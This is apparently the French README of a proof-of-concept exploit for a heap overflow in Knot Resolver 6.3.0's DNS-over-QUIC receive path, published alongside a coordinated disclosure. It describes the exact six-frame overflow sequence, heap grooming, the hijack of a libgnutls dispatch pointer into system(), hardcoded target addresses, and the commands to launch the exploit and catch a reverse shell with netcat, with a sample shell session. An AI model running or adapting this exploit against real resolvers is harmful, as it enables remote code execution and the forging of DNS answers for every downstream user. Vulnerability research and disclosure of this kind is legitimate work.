
CVE-2026-66374 : débordement de tas DNS-over-QUIC dans Knot Resolver 6.3.0 (RCE)
Preuve de concept d'un dépassement de tampon de tas déclenchable à distance dans
le chemin de réception DNS-over-QUIC (DoQ) de Knot Resolver, permettant une
exécution de code à distance sous l'utilisateur du service knot-resolver.
kresd (daemon/quic_conn.c)6.3.0-cznic.1~bookworm)knot-resolver ; au minimum, crash à distance / déni de servicePublié en parallèle du correctif et de l'avis de sécurité du fournisseur dans le cadre d'une divulgation coordonnée. Réservé à la recherche en sécurité autorisée et à la validation défensive.
Exploitation complète à distance — l'exploit est déclenché depuis la machine de
l'attaquant via DNS-over-QUIC, et un shell inverse knot-resolver est récupéré
sur nc (cliquez pour la vidéo en pleine résolution) :
Knot Resolver est un résolveur DNS récursif de cache open source
développé par CZ.NIC (le registre .cz). Il résout les requêtes DNS pour le
compte de clients — appareils des utilisateurs finaux, flottes de résolveurs FAI et
services de résolveurs publics — et met en cache les réponses. Il prend en charge
les transports chiffrés modernes, notamment DNS-over-TLS (DoT), DNS-over-HTTPS (DoH) et
DNS-over-QUIC (DoQ), et intègre la validation DNSSEC et la mise en cache agressive.
Il est populaire dans les grands environnements de FAI, où son riche ensemble de fonctionnalités (politique scriptable, DNSSEC, transports chiffrés, mise en cache fine) et ses hautes performances le rendent particulièrement adapté au service de très grandes bases d'abonnés.
Le démon (kresd) est un service réseau à longue durée de vie, directement exposé à
des entrées non fiables provenant de tout hôte capable d'atteindre son port d'écoute.
Cela fait d'un bug de corruption mémoire dans son chemin de réception de paquets —
comme celui exploité ici — une surface d'attaque accessible à distance et sans
authentification : compromettre le résolveur permet à un attaquant de forger des
réponses DNS pour chaque client en aval, c'est-à-dire de rediriger ou d'intercepter
pratiquement tout leur trafic.
kr_recv_stream_data_cb() réassemble les trames STREAM DoQ dans un tampon d'entrée
par connexion (pers_inbuf). Il agrandit ce tampon avec
pers_inbuf.size += datalen; /* bug: accumulates, never re-baselines */
au lieu de définir la taille à la nouvelle valeur totale. Sur plusieurs trames, la
size suivie dérive au-dessus de l'allocation réelle. Une dernière trame dont le
datalen tient sous la size gonflée saute donc la réallocation, mais le
memcpy() suivant est borné par cette taille gonflée — il écrit donc au-delà de la
fin de l'objet. jemalloc maintient l'objet épinglé à sa classe de taille réelle, si
bien que les octets excédentaires atterrissent dans l'emplacement de dalle adjacent.
Une séquence de six trames sur un même flux fait traverser à pers_inbuf cinq
classes de taille jemalloc jusqu'à la classe de 6144 octets, puis déborde dans
l'emplacement voisin :
F1 datalen=8 allocation initiale de 1200 octets
F2 datalen=1440 realloc -> classe 1536
F3 datalen=1440 realloc -> classe 3072
F4 datalen=1440 realloc -> classe 5120
F5 datalen=1440 realloc -> classe 6144
F6 datalen=1200, FIN pas de realloc -> écriture OOB de 814 octets dans slot+1
Un grooming léger des connexions (ouvrir plusieurs connexions DoQ, en libérer la
moitié juste avant le déclenchement) fait en sorte que slot+1 contienne un gestionnaire
de nettoyage libgnutls. Le dépassement écrase le pointeur de dispatch de ce
gestionnaire, son argument et l'indicateur qui contrôle le dispatch. Lors du
démontage de la connexion, libgnutls exécute
call *0x110(%rbx) ; %rbx = slot+1 contrôlé par l'attaquant
donnant le contrôle du pointeur d'instruction (RIP) et du premier argument (RDI).
Le PoC achemine cela vers system() avec un pointeur vers une chaîne de commande
fournie par l'attaquant, écrite dans le même emplacement.
Ce PoC cible un hôte avec ASLR désactivé
(kernel.randomize_va_space = 0). Sans randomisation, les adresses du tas et de
libc sont déterministes, donc les deux adresses dont l'exploit a besoin
(slot+1 et system()) sont des constantes pour une compilation donnée.
Contrer l'ASLR est un problème distinct et est volontairement hors périmètre
ici — l'objectif est de démontrer la primitive corruption mémoire → détournement
du flux de contrôle → exécution de code de manière isolée.
Comme ces adresses sont déterministes, aucune fuite d'information n'est
nécessaire : l'exploit s'exécute entièrement sur le réseau depuis un hôte distant.
Les adresses sont récupérées une seule fois avec l'étape probe (ci-dessous) sur
toute compilation identique, puis codées en dur ; sur la compilation de référence,
elles sont slot+1 = 0x7ffff66c5000 et system = 0x7ffff746a490.
| Fichier |
|---|
Nécessite Python 3 avec aioquic et
netcat côté attaquant, et gdb sur la cible uniquement pour l'étape unique
probe.
C'est la démonstration principale : l'exploit est déclenché depuis la machine
de l'attaquant, via le réseau, avec les deux adresses déterministes codées en dur.
Rien n'est lu depuis la cible — pas de /proc, pas de gdb, pas de journaux.
# Sur la machine de l'attaquant : écouter le shell
$ nc -lvnp 4444 # Linux ; sur macOS/BSD : nc -l 4444
# Dans un autre terminal : déclencher l'exploit sur le port DoQ de la cible
$ python3 poc.py exec \
--host <target> --port 8853 \
--slot1 0x7ffff66c5000 \
--system 0x7ffff746a490 \
--lhost <attacker-ip> --lport 4444 \
--rounds 250
Chaque tentative qui aboutit appelle system() sur la cible avec une commande de
shell inverse ; le shell se connecte en retour à --lhost:--lport, où nc le
reçoit. Lorsqu'il arrive, tapez dans la session netcat pour piloter le shell :
knot-resolver@doqlab:/run/knot-resolver$ id; hostname; uname -srm
uid=104(knot-resolver) gid=109(knot-resolver) groups=109(knot-resolver)
doqlab
Linux 6.1.0-50-cloud-amd64 x86_64
Les valeurs --slot1 / --system sont récupérées une seule fois avec l'étape
probe sur toute compilation identique ; ce sont des constantes tant que l'ASLR
est désactivé.
Les valeurs --slot1 / --system ci-dessus sont des constantes tant que l'ASLR
est désactivé ; récupérez-les une fois sur toute compilation identique.
Précondition :
$ sudo sysctl -w kernel.randomize_va_space=0
# slot+1 : l'oracle gdb lit le pers_inbuf déterministe, +0x1800
$ sudo gdb -batch -p "$(pidof /usr/sbin/kresd)" -x probe.gdb &
$ sudo ./venv/bin/python3 poc.py probe
$ grep slot1 /tmp/pers_inbuf_oracle.txt
CONSUME: buf=0x7ffff66c3800 slot1=0x7ffff66c5000
# system : base libc (ASLR désactivé) + décalage de system()
$ addr=$(grep -m1 libc.so /proc/$(pidof /usr/sbin/kresd)/maps | cut -d- -f1)
$ printf 'system = 0x%x\n' $((0x$addr + 0x$(readelf --dyn-syms /lib/x86_64-linux-gnu/libc.so.6 | awk '$8 ~ /^system@/ {print $2; exit}')))
poc.py rip --rounds 8 démontre en outre le contrôle brut de RIP/RDI (la cible
plante au pointeur d'instruction choisi par l'attaquant).
Mesurée sur la compilation de référence (Debian 12, 6.3.0-cznic.1, ASLR désactivé) :
| Primitive | Taux |
|---|---|
Contrôle RIP/RDI (rip, crash) | ~7/8 par tentative |
Exécution complète de system() (exec) | ~1 sur 30 à 50 tentatives |
L'écart est inhérent : system() s'exécute sur un tas que le dépassement vient
de corrompre, donc la plupart des dispatchs plantent kresd avant que le processus
enfant ne soit lancé. Le démon est relancé par son superviseur après chaque crash,
l'adresse est déterministe avec l'ASLR désactivé, et chaque tentative est
indépendante — la boucle exec réessaie donc simplement jusqu'à ce que l'une
aboutisse (dans l'exécution distante ci-dessus, un shell est arrivé à la tentative 5).
Une tentative échouée est un crash transitoire d'un worker (déni de service). Les
paramètres de grooming --groom 16 --close 8 --qpc 4 sont les valeurs par défaut
empiriquement optimales ; une fermeture plus agressive (par ex. --close 16 avec
--groom 32) effondre le taux de réussite.
OS Debian 12 (bookworm), glibc 2.36
kresd knot-resolver6 6.3.0-cznic.1~bookworm
libgnutls 3.7.9-2+deb12u7
config écouteur DoQ sur 127.0.0.1@8853
La géométrie des classes de taille (six trames, charges utiles de 1200/1440 octets) et le décalage de dispatch libgnutls sont spécifiques à cette compilation ; d'autres compilations nécessitent de redériver les tailles de trames et les décalages.
| Date | Événement |
|---|---|
| 2026-06-08 | Vulnérabilité signalée au fournisseur (CZ.NIC). |
| 2026-07-22 | Correctif publié dans Knot Resolver 6.4.1, avec avis du fournisseur. |
| 2026-07-23 | Publication de ce PoC et de ce rapport. |
Signalé au fournisseur le 2026-06-08 et publié en coordination avec le correctif officiel (6.4.1, 2026-07-22). Fourni pour les tests autorisés, la validation défensive et la recherche. Ne l'exécutez pas contre des systèmes que vous ne possédez pas ou que vous n'êtes pas explicitement autorisé à tester.
SPDX-License-Identifier: MIT
| Objectif |
|---|
poc.py | L'exploit. Modes : probe, rip, exec. |
probe.gdb | Oracle gdb qui lit le pers_inbuf déterministe. |
README.md | Ce document. |